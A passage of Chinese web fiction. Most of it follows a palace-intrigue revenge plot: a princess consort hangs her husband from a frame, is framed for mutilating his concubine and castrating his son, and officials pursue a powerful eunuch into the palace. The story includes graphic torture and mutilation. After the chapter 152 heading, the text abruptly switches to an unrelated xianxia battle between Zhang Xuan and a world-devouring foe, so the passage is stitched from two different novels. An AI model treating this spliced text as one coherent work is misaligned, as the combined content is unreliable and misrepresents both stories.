这个王武现在说的话,他有一大半都听不懂,但有一点至少可以肯定,那就是他不是蒋三叔叔的朋友,自己从头到尾都被骗了! 这个人要干什么? 就为了骗他当小太监? 等等,小太监—— 萧延身子一震,忽然想到了他刚才的那点回忆。 太监! 东厂! 九千岁! 娘亲跟东厂的人最亲近了! “是娘亲,对不对?” 萧延也不知道从哪里来的力气,用胳膊猛地将自己的上半身撑了起来,拼着一口气也要朝王武看去。 “她已经恨透了我,连我一点儿好都见不得了,对不对?” 萧延声嘶力竭地吼着,脸色时红时白,看上去有些骇人。 他呼哧呼哧地喘着粗气,想说什么,身下的疼痛却又开始冒了头,并且以飞快的速度变得剧烈起来。 王武叹了口气,抬手一点,顿时让萧延浑身僵硬,停下了所有的动作。 “你看看你,急什么?伤口又崩开了吧?” 鲜血的味道再次一股脑地涌出来,王武看着僵直着保持一个动作,除了眨眼什么都不能再做的萧延,说话的声音分外无奈。 “我也真是奇怪,王妃那么聪明的人,景平王也勉强算是长了脑子的,怎么就生出你这么一个笨得出奇的儿子呢?” “你知道为了骗你上钩,我想了多少套说辞,又做了多少准备吗?” “我才说了一句,你就这么迫不及待地动手了,你吓我一跳!万一你失血过多,我没给你救回来,王妃和主子那边,你让我怎么交代?” 此刻的王武又和先前的几种模样变得截然不同了起来,他皱着眉,一边重新给萧延止血,一边停不住地嘟嘟囔囔。 “你怎么不笨死算了呢?能给人少添多少麻烦?” “现在好了,活吧,又要活成个小太监,谁也不舒服!” “……” 萧延的意识渐渐变得模糊起来,王武后来还说了什么,他已经听不见了。 意识即将沉入黑暗,萧延用力地攥着自己的拳头,心里只有一个想法。 这人是娘亲找来害他的! —— 深夜,景平王府。 前院一片灯火通明,下人们噤若寒蝉地贴着墙站在一旁,眼观鼻鼻观心,恨不得连喘气的动作都暂时消失才好。 院里正中央被放上了一个两人高的木架,隐风正从顶部飞身而下,又将两条手腕粗的麻绳甩了上去。 “王妃,准备好了。”他回头朝叶晚竹看来。 叶晚竹坐在一旁的摇椅上,轻轻摇着折扇,面无表情地看着眼前的画面。 “开始吧。” 她点了点头,隐风和走上前来的隐川一起用力拉动绳索。 伴随着一阵令人牙酸的摩擦声,绳索缓缓移动,逐渐将一个垂着脑袋,生死不明的身影拉扯着悬挂到半空中。 萧子景被五花大绑着,手脚都不能移动,嘴里也塞着布条,只能眼睁睁地看着自己被吊了上来,却没有丝毫反抗的本事。 隐风不知道给他吃了什么药,萧子景这会儿已经感觉不到身体各处受伤的疼痛,伤口也不再流血。 这起码说明他还能继续活着,可这个想法却让萧子景一点儿都高兴不起来。 这么活着,他宁愿去死! 可惜,他现在连死的力气都没有! “唔唔唔!唔唔唔唔!” 叶晚竹这个毒妇,有本事就杀了他! 挤出一口力气微弱地挣扎着,萧子景发出一些咕噜咕噜的声音,却连传到叶晚竹耳朵里的本事都没有。 叶晚竹抬起头,看着萧子景狼狈的模样。 前世就是在这个地方,她也被挂了三天三夜,水米未进,还要承受来自萧家所有人的侮辱! 这种滋味,这辈子该让萧子景享受享受了! “好了,有劳王爷在这儿望风,咱们走吧,该回去休息了。” 看够了热闹,叶晚竹站起身,毫不犹豫地带着自己的人离开。 王府里的其他下人也忙不迭地回到自己屋中,将门窗紧闭,生怕自己会被卷进主子们的战争之间。 萧子景绝望地被吊在半空中,不上不下,难受至极。 不知道过了多长时间,他涣散的瞳孔忽然一振,随后渐渐有了光彩! 他听见大门外面有动静! 肯定是夏至回来了! 他有救了! “快开门!出事了!” 第一百四十八章 主子,不好了! “你说什么?” 潇湘院里,看着跑得上气不接下气,脸色通红的虎子,还有他手里沾着血的衣裳鞋袜,叶晚竹忍不住腾地一下站起身来。 虎子拼命拍着胸口给自己顺气,说话时还是带着哭腔的。 “小姐,这就是我们在蕴秀阁收到的所有东西!” 他哆嗦着把那些全部放在桌上。 虎子带来了一个极其不妙的消息:那支由夏铃带队,前往南疆探路的商队失踪了! 商队的消息一直都是送到蕴秀阁,由曼娘处理的,除非有什么重要的消息才会报到叶晚竹眼前。 蕴秀阁众人都知道王妃在调养身体,默契地不来打扰。 夏铃也是经验丰富,行事稳妥的人,报平安的消息从来没断过,十天前却忽然没了音信。 因着夏铃上一次写信的时候说他们将要坐船渡江,时间不定,曼娘虽然不安,却也没有催促。 谁知,就在今晚,这个包裹忽然出现在已经打烊的蕴秀阁大厅中。 打开一看里面的东西,曼娘便知道出事了,一边想办法联系商队,一边赶快让虎子把包裹送到叶晚竹这儿来。 叶晚竹翻看着那些衣裳,认出了夏铃平日里喜欢的几块布料。 “王妃,有一封信!” 隐川眼尖,指了指被藏在布料里的信封。 打开来,上面歪七扭八,用鲜血写了一行字。 “京城来客,实在稀罕,诚邀背后主人前来一会。” 没名没姓的,什么都看不出来。 可不论是血书,还是这些衣裳,都明显能看出商队众人的情况十分不容乐观。 叶晚竹攥紧了信纸一角,做了个深呼吸。 “你们能联系到谢逸吗?”她抬眸看向隐风和隐川。 谢逸等一行人跟在商队身边,他们都是谢无咎的手下,武艺高强自不用说,叶晚竹从来没想过,在这样的情况下竟然能出事。 隐风隐川对视一眼,脸色都不算好。 “你们先出去。” 叶晚竹几乎立刻明白过来,摆手让虎子等人都退到屋外。 听着房门开合的动静,她的心也跟着颤了一下。 “王妃。”隐风皱着眉头低声开口,“谢逸等人是主子手下第一等的精锐,如果连他们都没护住商队,那……” 那就说明,恐怕真的出了很大的事故,大到连谢无咎的手下都兜不住的那种。 叶晚竹感到手心有些发凉。 “谢无咎现在在什么地方?” —— 谢无咎刚刚从东厂的刑房出来,浑身上下都带着一股皮肉烧焦的苦味。 将刑房里的狼哭鬼嚎抛在脑后,他朝前走了两步,侧耳听隐月的低语,表情瞬间变得凝滞。 “王妃现在在大殿?” “正是。” “你带人守院。” 丢下一句简短的命令,谢无咎大步流星地朝前走去。 叶晚竹正坐在屋中,身边还跟着虎子和专门去接的曼娘。 “说吧,仔细一点。” 商队的事情,谢无咎已经知道了,他快之又快地一颔首,已经走到那个包裹旁,伸手一样一样地检查起来。 往日懒散懈怠的模样仿佛从不存在,谢无咎眉眼冷厉,神情专注,更让人不敢直视。 等虎子和曼娘互相补充着把不久前发生的事情又说了一遍,谢无咎也拿起了那个信封。 看着信纸上早已干涸的血迹,他将其举到鼻端,深深地嗅闻了起来。 这动作极其专注,叶晚竹三人都忍不住跟着屏住了呼吸。 “不是谢逸他们的血。” 片刻后,谢无咎睁开双眼,眼底涌动着莫名的情绪。 将信纸放到一边,他转头对上叶晚竹的双眼。 “谢逸等人都服用过一种药物,会在血液里留下痕迹,他们遵循我下的命令,不保护商队到最后一刻,绝不会离开。” 叶晚竹的脑子难得有些混乱。 一来是没想到谢无咎会对谢逸等人下这样的命令,二来,这么说的话,谢逸他们没死,那更应该保护好商队才是。 那怎么会出事呢? 虎子嘴快,抢先问出了口,又反应过来这里是什么地方,下意识地缩了缩脖子。 他的胆子是越来越大了,敢跟九千岁唱反调! 谢无咎扯了扯嘴角,没回答这话,仍是看着叶晚竹。 “鸽子都放出去了吗?” 商队出发前,谢逸给叶晚竹留下了几只认路的鸽子。 叶晚竹点了点头,知道出事,她就立刻把那些鸽子都放了出去。 “隐月,”谢无咎看向门前,“你去追踪,一有情况立刻上报。” “是!” 这会儿找到谢逸和商队最要紧,处理完这件事,谢无咎这才转头回应起了虎子的疑问。 “我的人如果没死的话,要么,是有人利用南疆和京城通信不便,制造假消息引起恐慌;要么,就是这些人想办法调开了他们,单独对商队下了手。” 而这两种可能性,都说明这个下手的人本就是冲着商队去的。 又是针对她? 叶晚竹目露冷光,朝谢无咎投去一个询问的眼神。 “他没有动作。” 知道她要问什么,谢无咎却摇了摇头。 景平王府发生了那一连串的事情后,东厂对安王世子的监视也达到了前所未有的高度。 可他却仍是什么破绽都没有被抓到。 而针对叶晚竹的计划,还在一个又一个地展开。 谢无咎眸光微暗,这种敌暗我明的感觉让他很不痛快。 “先回去等,若是有了消息,我——” “主子,不好了主子!” 干等在这里也没多少用处,谢无咎正要开口让叶晚竹回府,隐翼忽然从窗外飞身而入,就地滚了一圈,跪倒在谢无咎面前。 “大理寺和京兆府都接到举报,说王妃滥用私刑,折磨虐待王府众人,砸断了阮姨娘的手指,还,还阉了小世子萧延,两个人证都已经被找到,并且指认了王妃,官差带着人去了王府,又看见景平王被挂在天上,这会儿正派人在府里找人,要治王妃的罪呢!” 叶晚竹瞠目结舌地看着隐翼。 她什么时候对阮莹莹和萧延做过这样的事—— “那幕后之人,已经按捺不住了!” 第一百四十九章 我要去南疆看看 转念一想又明白过来,叶晚竹冷笑一声,眉宇间显出了锐利之色。 放大她对萧家人的所作所为,激起众怒,如此一来,一旦事发,就算是昭德帝也救不了她。 便如同眼下这般的情况。 叶晚竹不懂这人为何要如此绞尽脑汁地针对她,但既然已经到了这一步,她也没必要再客气了。 “趁他们还没找来,我要出城。” 侧目看向谢无咎,叶晚竹的语气有些轻飘飘的。 “我要去南疆调查商队的事情。” 京城的这个陷阱现在看来是已经挖好了,否则不会这般大张旗鼓,叶晚竹还留在这里,那就是要等着落入彀中。 商队这个时候出事,看来绝非偶然,而且和这个幕后之人一定有关。 谢无咎看着叶晚竹,语气淡淡。 “王妃又怎么知道这不是调虎离山之计?南疆也未必安全。” 商队消失的地方刚刚进入南郡,南郡毗邻南疆,两个都是天高皇帝远的地方,想要一个人无缘无故地消失,简直是再轻而易举不过的事情。 别说叶晚竹这个景平王妃,就算是搬出九千岁这在京城令人闻之变色的名头,恐怕都没多少用处。 叶晚竹又勾起了嘴角。 “天高皇帝远的地方,可不止这个幕后之人乐见其成。” 她也很希望能放开手脚大干一场,而不用顾忌左右。 到时候,还不知道鹿死谁手! 若是等在京城,有些事做起来就不会这么顺利了。 谢无咎静默片刻,而后忽然又大笑了起来。 “王妃好胆魄!”他拍了拍手,“既然如此,便请王妃稍等,本督来替你安排出城的事宜。” 他一迭声地布置起来,很快便将一切安排妥当,让下人们悉数退下,谢无咎这才重新转头朝叶晚竹走来。 “不瞒王妃,若真是安王世子,他这般行事,足以证明其心思不纯,虎视眈眈。” 压低了声音,谢无咎眼底却又漫上了笑意。 “本督替王妃安排人手,等到了南郡,还请王妃在那边查查,关于安王世子的一切线索。” 若是能从那边找到什么蛛丝马迹,也够让他抓住孟希越的小辫子了。 “这是合作?”叶晚竹挑了挑眉,“那我可是要收好处的。” “不,”谢无咎将声音压得更低,“这是本督的……请求。” 最后两个字仿佛缠绕在唇齿之间,轻而易举便能消散不见。 “请求啊……那就更得收点什么了。” 直起身子,迎上谢无咎靠近的脸,叶晚竹捏着他的下巴,将自己的嘴唇印了上去。 谢无咎浑身一僵,还没来得及反客为主,叶晚竹便已经松手后退。 “既然如此,京城的情况同样重要,都督大人,千万别死了。” 扬起下巴,叶晚竹眼底神情飞快地一闪而过。 谢无咎抿了抿唇,同样神色莫名地笑了一声,“王妃,一路小心,注意安全。” —— “不在府中?她去了哪里?” 与此同时,萧子景躺在临时搭建的床上,听着大理寺官差把王府翻了个底朝天都没有发现叶晚竹的踪影,忍不住撑起身子大声发问。 “王爷,您就别管了,还是安心养着,小心伤口崩开啊。” 夏至站在一旁,闻言赶紧劝着。 “是啊,景平王,受了这么大委屈,您还是休息着,找人的事儿还是交给我们吧!” 京兆府尹钱大人也站在屋中,温声和萧子景说着话,一双眼睛却止不住地往一旁瞥去,生怕看到这位景平王爷黑洞洞的眼眶,还有身上皮开肉绽的伤口。 他想吐! 可是眼睛一转,钱大人又接连看见了被剃成光头,脸上刺字,十指截断,疼的哭哑了嗓子的阮姨娘,还有下半身被鲜血染透,不着寸缕,神情木讷,除了喘气的时候好像已经变成死人的小世子萧延。 一幅幅画面冲击着钱大人的视觉,屋里的血腥味也浓重得逼人,他没忍住干呕一声,连忙踉跄着往屋外跑去。 萧子景看着他这幅模样,眼神又黯淡了几分。 约莫半个时辰前,就在萧子景被吊得全身没了知觉,甚至不知道自己是死是活的时候,夏至终于带着人敲开了王府的大门。 看见大理寺和京兆府的官服,萧子景刚觉得自己终于得救了,等被抬到眼下所在的前厅,屋里的景象还是让他立刻就又晕了过去。 阮莹莹和萧延都遇害了,还是以那样不堪的方式! 两人都是被夏至发现的,一左一右被套在麻袋里丢到王府门前的小路两端,摆明了是在报复。 而醒来之后,阮莹莹和萧延又同时指认,是叶晚竹找人来害他们的。 叶晚竹! 这个贱人,她的心肠竟然狠毒到了如此地步! 这已经不是折磨,而是惨无人道的凌虐! 无论有什么仇恨,都不应该把人折腾成这个样子! 越想越气,萧子景身子一颤,又猛地吐出了一口鲜血。 “王爷!” 夏至连忙上前伺候,要替萧子景把嘴角的血擦干净,却被他摆手推开。 “去,去告诉钱大人,还有大理寺的人……”萧子景咬紧牙关,断断续续地说着话,“叶晚竹和谢无咎有联系,犯下这么大的事,她肯定是自己摆平不了,去找人给她撑腰了!” “让官差去东厂和都督府要人,动作快点!别——” 别让叶晚竹逃到皇宫里,被昭德帝庇佑住,那就完了! 用尽最后一点理智,萧子景及时住了口,好在夏至似乎也没有发现什么异样,只当萧子景是气力不支,应了一声便拔腿朝外跑去。 屋外,钱大人正在和大理寺少卿唐大人低声说着话,今晚卢大人被传到了宫中,不能来出现场。 听了夏至的传话,二人都是一顿,表情有些微妙。 景平王妃犯了重罪,现在看来已经是板上钉钉的事情,出动人手抓她自然是在情理之中。 可要把东厂也牵涉进来…… 谁有这个胆子,和九千岁叫板要人? 两位大人脸上都明明白白写着畏惧。 夏至低着头,又朝前走了一小步。 “二位大人,”他只露出一双泛着精光的眼睛,“我家王爷还说了,王妃虽然脾气大,手下多,可都是小打小闹,诱拐阮姨娘和小世子这样的事情,他们做不了的。” “您二位想想,是谁在帮忙呢?” 第一百五十章 本官怀疑九千岁! 长夜将尽,天边泛起鱼肚白的时候,一行车马浩浩荡荡地出现在皇宫外。 钱唐二位大人从打头的马车上下来,走向宫门的动作都带着疲惫。 这一晚上,他们先是接到报案去了景平王府,在那里被王爷说服,决定鼓起勇气去向九千岁要个说法。 谁知道,从都督府找到东厂,九千岁竟然都不见踪影。 那就只剩下皇宫这一个去处了。 说起来,昭德帝下旨罢朝也有一段日子了,宫里的消息一点儿都没传出来,让人心里隐隐感到不安。 宫门外依旧被御林军牢牢把守着,见两位大人上前连忙将长枪一叉。 “圣上没有旨意,二位请回吧。” 昭德帝从未有过这么长的时间缺席朝务,前来宫门外碰运气的文武百官们也渐渐多了起来。 无奈宫中没有任何消息,御林军们也只能将劝退的话说得越发滚瓜烂熟。 两位大人对视一眼,却并未离开。 “我等是来找九千岁的。” 九千岁? 守门的御林军小哥不免一头雾水。 钱大人连忙上前,将发生在景平王府的案子说了出来,却又留了个心眼。 “这案子实在骇人听闻,我等不敢随意处置,如今景平王妃又已经失踪,疑似潜逃,圣上罢朝,我等想来想去,恐怕也只能找九千岁出面,可他又不在东厂……” 两个御林军听故事听得汗毛竖起,既不是要抗旨,他们连忙让人入宫去找九千岁的踪迹。 “景平王妃真的这么狠?” 等着也是等着,其中一人忍不住小声朝唐少卿确认。 想想自己在王府里看到的那些惨无人道的景象,唐少卿点点头,他脸色发绿,似乎又要吐了。 岂止是狠! 能做出这样的事,这景平王妃简直就是丧心病狂! 约莫等了两炷香左右的功夫,两位大人站得脚都麻了,才看见隐月一身黑衣,不紧不慢地从宫道上缓缓走近。 “二位可真是执着啊。” 上下扫了大人们几眼,隐月面上笑着,甚至还躬着身子。 分明是一副低三下四的奴才模样,却似乎全身上下都写着嘲讽。 “你这是什么意思?”钱大人一瞪眼,“九千岁究竟在不在宫中?我等有要事!” “在,大人如此穷追不舍,九千岁不在也得在。”隐月的回应依旧阴阳怪气,“二位请吧,九千岁在里面等你们。” 一边说着话,他一边从腰间解下了独属于谢无咎的令牌,在御林军们眼前晃了晃。 小兵们面色各异。 圣上下旨将宫门封死,没有圣旨谁都不许进出。 九千岁现在这是…… 循声而来的御林将军这时候替他们点了头,“放人吧!” 他们守在宫外,还不知道,圣上不知为何彻底将自己彻底关在乾清宫闭门不出,只隔着殿门和外面说上两句。 如今,宫中一切事务已经全部交由九千岁管理了。 御林将军随着昭德帝一路走来,历经风霜,如今的局势让他止不住地心惊肉跳。 好像有什么地方开始不对劲了。 不过他并没有在下属们面前表露出半点异样。 上级长官发话,御林军们立刻后退,将钱大人和唐少卿迎进宫中。 另一辆马车里这时候传来窸窸窣窣的声音,片刻后,夏至从里面跳了下来,又小心翼翼地伸手,从车中抬出一个躺在软轿上,看着奄奄一息的人。 直到软轿被送到宫门前,两个小哥同时瞪大了双眼。 景平王也来了? 萧子景仰面朝天,被人抬着连一动都不能动,硬生生地用仅存的一只眼接受了两个御林军震惊,恐惧,又混合着同情的目光。 他羞愤欲死,却只是闭上单眼,深深地吐息着。 他现在还不能死! 叶晚竹把他害成这个样子,他一定要让她也付出相同的代价! 不,两倍,三倍,甚至十倍! 一行人在隐月的带领下沿着宫道走了一炷香左右,在一间小小的偏殿外停了下来。 “你们这是在干什么?胡闹!” 还没见到九千岁,一道难掩愤怒的声音忽然从殿中传出。 唐少卿微微瞠目,下一刻,便看见大理寺卿卢大人怒气冲冲地走了出来。 “谁让你们找到宫里来的?” 卢大人眼下带着浓重的黑青,嗓音嘶哑,脸皮浮肿,似乎是熬了整整一个晚上都没闭眼。 他压低声音质问着,不悦的眼神却全都落在唐少卿身上。 “我不在,你就这样胡来?” 唐少卿委屈地瘪了瘪嘴。 那人家景平王府的人到大理寺报案,难道他能置之不理? 他做错了? 卢大人又瞪去一眼,那边钱大人倒是开了口。 “咦?大人怎么会在宫中?”他语气疑惑,“圣上不是不许任何人出入吗?” “本官奉圣旨入宫配合调查,钱大人有什么意见?” 收回目光,卢大人瞬间就端起了架子。 大理寺和京兆府虽然是各自独立的两个部门,但同样为朝廷效力,总有打交道的时候。 卢大人刚正,钱大人油滑,这两位正好互相看不惯对方的行事风格,凑在一起便不对付。 钱大人闻言也只是笑了笑,语气微妙。 “我只是问问,卢大人不必这么着急推脱,是与不是,都和我无关。” 不等卢大人瞪眼发怒,他又抬头往身后的偏殿看去。 “说起来,让我等进宫的是九千岁,不知都督大人现在何处?为何是卢大人接待我二人啊?” 隐月一直站在廊下,这会儿才出声,“九千岁正在审问犯人,还请三位稍等。” 他掀起眼皮看了一下躺在软椅上,半死不活的萧子景,顺嘴捎带上了这位。 钱大人缓缓地看了隐月一眼,挺直了腰杆,语气也显出了倨傲。 “本官倒是等得,可抓逃犯却耽误不起,这般拖拖拉拉,推三阻四,连卢大人都派出来了,不知道九千岁究竟是什么意思?” 这话矛头直指谢无咎,隐月眼中瞬间聚起杀意,“你又是什么意思?” “本官怀疑九千岁以权谋私,包庇逃犯!” 第一百五十一章 什么秽物?哦,景平王啊 震声开口,钱大人的神情也变得大义凛然起来。 “根据本官查到的线索,景平王妃犯下滔天血案,令人发指,本官要尽快上报陛下,请他派人搜查抓捕,可九千岁却在这里无故拖延时间!” “总所周知,九千岁与景平王妃私交甚笃,本官不能不作此猜测!” “哦?竟有此事?” 钱大人话音刚落,还没等隐月反应,又一道声音从不远处传来。 众人齐齐转头看去,只见一个身高腿长,走路虎虎生风的年轻男子快步走了过来。 “安王世子?”隐月低语一声,眉头微皱,又立刻松开。 “小的见过世子,世子怎么进宫来的?” 他上前几步给孟希越见礼,说出的话却带着怀疑。 孟希越虚扶了隐月一把,从表情上什么都看不出来。 “圣上日日告病,我父王放心不下,他不便进城,让我拿了腰牌,到宫里来看看。” 身为昭德帝仅存的兄长,安王享足了体面,拥有一块可以随时出入宫廷的腰牌。 据隐月所知,安王还从来没有动用过这块腰牌,倒是被世子第一个拿出来了。 “圣上无恙,只是暂时不便见客,还请世子告知安王爷。”隐月又一低头,直接堵上了孟希越的话。 宫门那边不敢阻拦安王的腰牌,隐月可不一样。 孟希越又笑了笑,透着无奈,“本世子已经去碰了个壁,没想到在这儿听到了些新鲜的。” 说到最后,他的语气微妙地变得锋利起来。 “隐月侍卫,钱大人的话,是真是假啊?” “无稽之谈,”隐月绷紧了一张脸,“九千岁——” “是真的!是真的!” 他的话刚说到一半,便被萧子景的喊声打断了。 萧子景使出全身的力气,从软轿上半抬起头,一双眼睛急迫地盯着安王世子。 “这是……景平王?” 虽然只有一面之缘,但孟希越还是很快认出了萧子景。 他眼底带着明显吃惊的神色。 “王爷怎么了?” 萧子景这会儿却顾不上,也没有多余的力气寒暄。 “世子!谢无咎和我的王妃暗中勾结,私相授受,早就密谋着要置我于死地,好掌握王府,偷天换日!” “谢无咎他是假太监,和叶晚竹珠胎暗结,那个野种现在就在王府!” “圣上肯定是被谢无咎害了,他权柄滔天,在京城只手遮天,世子可一定要救出圣上,还天下一个公道啊!” 上气不接下气地说着话,激动让萧子景眼前发黑,大脑一片空白,自己都不知道自己在说什么。 他只知道,皇宫已经被谢无咎掌控了,他们来晚了,想靠钱大人找到叶晚竹已经是不可能的事情。 可安王世子就不一样了! 安王身份尊贵,世子又在南疆立下了赫赫战功,最重要的,是他常年不在京中,谢无咎的权利掌控不到这位身上! 想到这儿,萧子景的眼中射出更加惊人的光亮! 昭德帝肯定不会让自己的丑事被公之于众,他抢先这样说,就算圣上不愿意,也不能明着反对! 自己夺人妻子,和手下夺人妻子,哪个更丢人,昭德帝应该知道的吧! “世子,世子!你帮帮我,求你了……”萧子景的语气越发颤抖起来。 他可能只剩下这一个机会了! “世子,”隐月皱着眉头,“景平王受了刺激,胡言乱语——” “我清醒得很!”萧子景又大吼一声,“你这个谢无咎的走狗,给本王闭嘴!” 隐月丝毫不惧,“没有证据,王爷还是莫要胡说为好,还是说王爷觉得构陷王妃不算过瘾,还要将九千岁也加上?” “证据?” 萧子景俨然是已经被气疯了,他冷笑着,不顾自己胸口剧痛,忍着冲到喉咙口的呛咳也要开口。 “让你家九千岁把裤子脱了,一看便知!” 一个假太监,耀武扬威个没完了! 偏殿门前众人齐齐嘴角一抽。 这叫什么话? 唐少卿忽然心里一紧。 坏了坏了,这景平王的嘴像搭错弦了一样,怎么这么不靠谱? 昨天晚上这案子,不会有什么问题吧…… “咦?这个要求倒是新奇。” 就在这时,谢无咎含着笑意的声音终于响了起来。 玄袍金蟒先印入几人的视线,然后才是谢无咎笑意盈盈的脸,他信步走上前来,看上去与平时并没有多少差别。 谢无咎目光缓缓扫过众人,来回看了几遍,忽然露出一丝疑惑。 “本督刚才明明听见是景平王提出了如此离奇的要求,怎么不见他人?” 一边说着话,他的目光却又落在了软轿上,顿时面露嫌弃。 “这是哪里来的秽物?怎么敢送到宫中?不知道圣上正在静养吗?触了霉头怎么办?赶紧抬出去,找个地方埋了!” 萧子景闻言气得一佛出世二佛升天,大吼一声,“阉贼!你休要欺人太甚!” 敢说他是秽物? 谢无咎猛地停住动作,震惊地看着萧子景,来回打量数次才开口。 “哟,原来景平王在这儿呢,您这个造型……可真是别出心裁。” 萧子景呼哧呼哧地喘着粗气。 虽然他没有证据,但萧子景敢拿自己剩下的那只眼睛发誓,谢无咎这阉贼绝对是故意的! “少说废话!叶晚竹在哪儿?”他咬紧牙关,“她害了整个王府,连亲儿子都不放过,本王要亲手处置她!” 萧子景眼底此时满是疯狂的恨意,让人丝毫不加怀疑,若是叶晚竹这个时候在现场,萧子景就算是只剩下最后一口气,也要扑上来咬掉她的一块肉。 谢无咎的神情不着痕迹地变得冷了几分。 “阮姨娘和小世子究竟是怎么出事的,又是何人所为,还需要仔细调查,此案从现在起就交由本督处置,王爷回去听信儿吧。” “你放屁!” 萧子景立刻震声开口,“谁不知道你和叶晚竹是一对奸夫淫妇?你会秉公办理?本王要见圣上!” “圣上闭关休养,不见任何人。”谢无咎的语气十分冷淡。 “那就让安王世子主理此案!”萧子景横眉竖目,“你不配!” “巧了,本督最配,王爷看看这个?” 第一百五十二章 安王世子来访 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中分裂出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情功法,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们死了,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以死了……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他镇压……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法镇压吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法镇压,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 